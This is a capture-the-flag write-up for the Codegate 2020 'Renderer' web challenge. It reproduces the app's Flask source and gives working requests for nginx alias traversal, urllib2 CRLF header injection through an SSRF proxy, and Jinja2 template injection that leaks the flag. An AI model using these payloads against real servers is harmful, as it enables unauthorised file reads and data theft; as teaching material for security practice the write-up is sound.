Renderer------------
## Intro
**Description:**
It is my first flask project with nginx. Write your own message, and get flag!
http://110.10.147.169/renderer/http://58.229.253.144/renderer/
DOWNLOAD :http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9
point : 750
## Sources from the link in description:
settings/run.sh```bash#!/bin/bash
service nginx stopmv /etc/nginx/sites-enabled/default /tmp/mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask
service nginx restart
uwsgi /home/src/uwsgi.ini &/bin/bash /home/cleaner.sh &
/bin/bash```
Dockerfile```FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get updateRUN apt-get install -y nginxRUN pip install flask uwsgi
ADD prob_src/src /home/srcADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/staticRUN chmod 777 /home/static
RUN mkdir /home/ticketsRUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.shRUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.shRUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]```
## Solution:
### Alias Traversal
As soon as I saw the description and the words like: "It is my first flask project with nginx" I understand than it's about nginx alias traversal.
So Nginx alias traversal is here (We already knew the path to the `uwsgi.ini` file and position of the `static` folder in file system):```GET /static../src/uwsgi.ini HTTP/1.1Host: 110.10.147.169```
After I had found alias traversal vulnerability I could read an arbitrary files in `home` folder.
Retrived files:
/home/src/uwsgi.ini```ini[uwsgi]chdir = /home/srcmodule = runcallable = appprocesses = 4uid = www-datagid = www-datasocket = /tmp/renderer.sockchmod-socket = 666vacuum = truedaemonize = /tmp/uwsgi.logdie-on-term = truepidfile = /tmp/renderer.pid```
/home/src/run.py```pythonfrom app import *import sys
def main():    #TODO : disable debug    app.run(debug=False, host="0.0.0.0", port=80)
if __name__ == '__main__':    main()```
/home/src/app/__init__.py```pythonfrom flask import Flaskfrom app import routesimport os
app = Flask(__name__)app.url_map.strict_slashes = Falseapp.register_blueprint(routes.front, url_prefix="/renderer")app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")```
/home/src/app/routes.py```python
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprintimport urllib2import timeimport hashlib
from os import pathfrom urlparse import urlparse
front = Blueprint("renderer", __name__)
@front.before_requestdef test():    print(request.url)
@front.route("/", methods=["GET", "POST"])def index():    if request.method == "GET":        return render_template("index.html")     url = request.form.get("url")    res = proxy_read(url) if url else False    if not res:        abort(400)
    return render_template("index.html", data = res)
@front.route("/whatismyip", methods=["GET"])def ipcheck():    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())
@front.route("/admin", methods=["GET"])def admin_access():    ip = get_ip()    rip = get_real_ip()
    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)        abort(403)
    if ip != rip: #if use proxy        ticket = write_log(rip)        return render_template("admin_remote.html", ticket = ticket)
    else:        if ip == "127.0.0.2" and request.args.get("body"):            ticket = write_extend_log(rip, request.args.get("body"))            return render_template("admin_local.html", ticket = ticket)        else:            return render_template("admin_local.html", ticket = None)
@front.route("/admin/ticket", methods=["GET"])def admin_ticket():    ip = get_ip()    rip = get_real_ip()
    if ip != rip: #proxy doesn't allow to show ticket        print 1        abort(403)    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local        print 2        abort(403)    if request.headers.get("User-Agent") != "AdminBrowser/1.337":        print request.headers.get("User-Agent")        abort(403)     if request.args.get("ticket"):        log = read_log(request.args.get("ticket"))        if not log:            print 4            abort(403)        return render_template_string(log)
def get_ip():    return request.remote_addr
def get_real_ip():    return request.headers.get("X-Forwarded-For") or get_ip()
def proxy_read(url):    #TODO : implement logging     s = urlparse(url).scheme    if s not in ["http", "https"]: #sjgdmfRk akfRk        return ""
    return urllib2.urlopen(url).read()
def write_log(rip):    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:        log_str = "Admin page accessed from %s" % rip        f.write(log_str)     return tid
def write_extend_log(rip, body):    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:        f.write(body)
    return tid
def read_log(ticket):    if not (ticket and ticket.isalnum()):        return False     if path.exists("/home/tickets/%s" % ticket):        with open("/home/tickets/%s" % ticket, "r") as f:            return f.read()    else:        return False```
And sure, we know that tickets with logs storing in the `/home/tickets` folder that we could read with known vulnerability.
## urllib2 HTTP Header Injection
The web service allows us to send HTTP requests like in situation with SSRF attack. We could see it in the following lines:
```pythonres = proxy_read(url) if url else False
...
def proxy_read(url):    #TODO : implement logging     s = urlparse(url).scheme    if s not in ["http", "https"]: #sjgdmfRk akfRk        return ""    return urllib2.urlopen(url).read()
```
As we can see in source code, the FLAG was kept in the flask's `config` variable. It says us that we can retrieve it with python command. Also we saw that the web service using `render_template` and `render_template_string` functions that work with Jinja2 template engine. So, we can predict that we will retrive the flag with string like `{{config.items()}}` in the template file.
But to send and read something from `/admin` we must learn to send requests with `X-Forwarded-For` header.
We knew that urllib2.urlopen() have vulnerability that could help us. (CVE-2019-9947)
To test it we have created host with similar conditions:
Dockerfile```FROM python:2.7.16
RUN apt-get update
CMD ["/bin/bash"]```
exploit.py```import urllib2
url = "http://empty.jack.su/renderer/admin/ticket?ticket=6edaec793cac4db942472712a57d656b06d4cd0c HTTP/1.1\r\nX-Forwarded-For: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\nHost: 127.0.0.1\r\n\r\nLol"
info = urllib2.urlopen(url).read()print(info)```
It works!
### Template injection
After we learned to send request with arbitrary headers, we can retrive the flag.
With function `write_log(rip)` we could write arbitrary string from `X-Forwarded-For` to the ticket file.
#### Send
With the next request we wrote string `{{config.items()}}` to file:```POST /renderer/ HTTP/1.1Host: 110.10.147.169Content-Type: application/x-www-form-urlencodedContent-Length: 97
url=http://127.0.0.1/renderer/admin HTTP/1.1%0d%0aX-Forwarded-For: {{config.items()}}%0d%0aTEST: ```
#### Check
With the following request we check that injection on the it's place:```GET /static../tickets/74269dcedd704384f5eec8738f938ce9f6ca4640 HTTP/1.1Host: 110.10.147.169
```
Result:```HTTP/1.1 200 OKServer: nginx/1.14.2Date: Sun, 09 Feb 2020 13:43:08 GMTContent-Type: application/octet-streamContent-Length: 43X-From: nginxAccept-Ranges: bytes
Admin page accessed from {{config.items()}}```
#### Read the FLAG
```POST /renderer/ HTTP/1.1Host: 110.10.147.169Content-Type: application/x-www-form-urlencodedContent-Length: 212
url=http://127.0.0.1/renderer/admin/ticket?ticket=74269dcedd704384f5eec8738f938ce9f6ca4640%20HTTP/1.1%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aUser-Agent:%20AdminBrowser/1.337%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aLol:```
Result:```...FLAG&#39;, &#39;CODEGATE2020{CrLfMakesLocalGreatAgain}&#39;...```